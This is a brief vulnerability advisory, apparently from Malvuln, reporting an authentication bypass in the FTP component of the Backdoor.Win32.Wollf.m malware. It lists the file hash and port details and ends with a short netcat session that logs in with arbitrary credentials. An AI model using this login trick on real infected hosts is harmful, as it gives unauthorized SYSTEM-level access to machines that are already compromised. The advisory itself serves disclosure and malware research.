Authored by malvuln | Site

Backdoor.Win32.Wollf.m malware suffers from a bypass vulnerability.

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Wollf.m
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 55555 and runs with SYSTEM integrity. The malware has an FTP component that can be enabled using the FTPD command. Third-party attackers who can reach the server can logon using any username password combination.
Type: PE32
MD5: b125a9a083447ad7d437e3e7f3ed5325
Vuln ID: MVID-2021-0436
Dropped files: wrm.exe
Disclosure: 12/31/2021

nc64.exe x.x.x.x 21
220 Welcome to X-Ftp server ...
USER malvuln
331 User name okay, need password.
PASS malvuln
230 User logged in, proceed.

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